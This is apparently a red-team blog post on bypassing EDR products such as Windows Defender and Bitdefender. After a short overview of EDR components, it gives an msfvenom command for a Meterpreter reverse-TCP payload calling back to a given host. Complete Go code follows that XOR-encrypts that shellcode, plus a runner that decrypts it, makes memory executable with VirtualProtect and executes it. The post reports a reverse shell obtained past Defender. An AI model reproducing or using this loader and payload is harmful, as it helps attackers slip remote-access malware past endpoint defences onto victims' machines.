This article continues from our previous post, which briefly explained the control mechanisms of EDRs. This post will detail the theoretical part from a different perspective.
As we detail the application phase in this article, we aim to bypass Windows Defender & Bitdefender in a live environment instead of VirusTotal.
The Components of an EDR
EDRs have many different components, but we will briefly discuss Data Collection, Detection Capabilities, and Data Analysis because they are of specific interest to us:
Data Collection
- Endpoint Agents: Small software programs installed on endpoints (e.g., laptops, desktops, servers) to collect and send data to a central repository.
- Telemetry Data: Includes details like process activity, file modifications, network connections, and user behavior.
Detection Capabilities
- Behavioral Analysis: Machine learning and heuristic analysis detect suspicious activities based on deviations from normal behavior.
- Signature-Based Detection: Identifies known threats using databases of malware signatures.
- Threat Intelligence Integration: Leverages external threat intelligence feeds to identify known indicators of compromise (IOCs).
Data Analysis
- Correlation Engine: Analyzes and correlates data from various sources to identify patterns indicative of malicious activities.
- Automated Analysis: Uses algorithms to analyze collected data and flag potential threats automatically.
- Visualization Tools: Provides graphical data representations to help security analysts understand complex relationships and patterns.
Types of EDR Bypasses
EDRs can be deceived, and their controls can be bypassed using many different methods. Some examples of these bypass techniques are as follows:
- There might be misconfiguration on EDR, which malware uses to evade controls.
- The EDR product might not be able to collect the relevant telemetry.
- The detection mechanisms might have a known deficiency or lack of competence.
- The detected activities might be insufficient to classify them as malicious actions, making them appear legitimate processes.
Important Note: EDRs also use different techniques, such as function hooking, to analyze malware. Since we cover a different topic in this series, we will not focus on methods like ‘Direct Syscalls’ and ‘Evading Function Hooks.’ We may address these topics in future posts.
Building a Custom XOR Encryption
First, we generate a shellcode that we will run within the malware:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=80 -f go

Next, we need to prepare the code that will XOR encryption of the shellcode:
package main
import (
"encoding/hex"
"fmt"
)
func xorEncrypt(data, key []byte) []byte {
encrypted := make([]byte, len(data))
keyLen := len(key)
for i := 0; i < len(data); i++ {
encrypted[i] = data[i] ^ key[i%keyLen]
}
return encrypted
}
func main() {
// Replace it with your encrypted shellcode
buf := []byte{0xfc, 0x48, ... , 0xd5}
key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
fmt.Println("Original Shellcode:", buf)
sc := xorEncrypt(buf, key)
encryptedHex := hex.EncodeToString(sc)
fmt.Println("Encrypted Shellcode:", encryptedHex)
}
The code is simple and understandable, so I do not explain it in detail. Essentially, we encrypt the shellcode provided in the ‘buf’ variable with the key specified in the ‘key’ variable (0x01, 0x02, 0x03, 0x04, 0x05).
Running the code gives us the encrypted value.

XOR Decryption
Due to the nature of XOR, encrypting the shellcode with the same key will give us the decrypted version. To verify this, we can look at the decrypter code below:
package main
import (
"encoding/hex"
"fmt"
)
func xorEncrypt(data, key []byte) []byte {
encrypted := make([]byte, len(data))
keyLen := len(key)
for i := 0; i < len(data); i++ {
encrypted[i] = data[i] ^ key[i%keyLen]
}
return encrypted
}
func main() {
// Replace it with your encrypted shellcode
encryptedShellcode := "fd4...5fbd0"
encryptedBytes, err := hex.DecodeString(encryptedShellcode)
if err != nil {
fmt.Println("Error decoding hex string:", err)
return
}
// XOR key
key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
// Decrypt the bytes
decryptedBytes := xorEncrypt(encryptedBytes, key)
// Print the decrypted shellcode
fmt.Println("Decrypted Shellcode:", decryptedBytes)
}
The result of the code will show us the our original shellcode.

XOR Decryption in Shellcode Runner
Now, we can write a shellcode runner for the XOR encrypted shellcode obtained in the previous step.
package main
import (
"encoding/hex"
"fmt"
"os"
"syscall"
"unsafe"
)
// xorEncrypt applies XOR encryption on the data with the given key
func xorEncrypt(data, key []byte) []byte {
encrypted := make([]byte, len(data))
keyLen := len(key)
for i := 0; i < len(data); i++ {
encrypted[i] = data[i] ^ key[i%keyLen]
}
return encrypted
}
// Importing the VirtualProtect function from kernel32.dll
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
// VirtualProtect changes the protection on a region of committed pages in the virtual address space of the calling process
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
func main() {
// Shellcode in hex string format - Replace it with your encrypted shellcode
scHex := "fd4a...bd0"
// Decode the shellcode from hex string to byte slice
sc1, err := hex.DecodeString(scHex)
if err != nil {
fmt.Println("Error decoding shellcode:", err)
os.Exit(1)
}
// XOR encryption key
key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
// Decrypt the shellcode using XOR encryption
sc := xorEncrypt(sc1, key)
// Creating a dummy function pointer to modify its permissions
f := func() {}
var oldfperms uint32
// Change the protection of the memory region where the function pointer is stored to be executable
if !VirtualProtect(
unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))),
unsafe.Sizeof(uintptr(0)),
uint32(0x40),
unsafe.Pointer(&oldfperms)) {
fmt.Println("VirtualProtect failed!")
os.Exit(1)
}
// Overwrite the function pointer with the shellcode address
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
// Change the protection of the memory region where the shellcode is stored to be executable
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
fmt.Println("VirtualProtect failed!")
os.Exit(1)
}
// Execute the shellcode
f()
}
The comments within the code provide detailed information about the specific parts.
In summary, the flow is:
- Converts the hex-encoded shellcode string to a byte slice.
- Uses XOR encryption to decrypt the shellcode.
- Prepares a dummy function pointer and modifies its permissions to make it executable.
- Overwrites the function pointer with the decrypted shellcode.
- Changes the protection of the memory region where the shellcode is stored to make it executable.
- Executes the shellcode by calling the function pointer.
Detection & Test
So far, we expect the malware we prepared to bypass signature-based checks. Although there are differences in EDR products, we expect the malicious file not to be deleted when uploaded to the target system as long as it is not executed and is not controlled by dynamic analysis.
When the malware is uploaded into the test environments with Windows Defender and Bitdefender running, it is not deleted but deleted upon execution.

In Bitdefender, the malware is cleaned from the target after the first stage of the staged payload.

The situation is a bit different in Windows Defender; the malware is executed, and it is detected and removed after receiving a reverse shell session from the target system.

When we check on VirusTotal, the result comes out as 15/74.

Conclusion
Although we have bypassed signature-based controls at a basic level in this and the previous articles, many different techniques need to be used together to bypass advanced EDR products. In subsequent articles, we will examine commonly used behavior-based bypass techniques along with these signature-based bypass techniques.
You can access the code written during the study through the GitHub repository.






































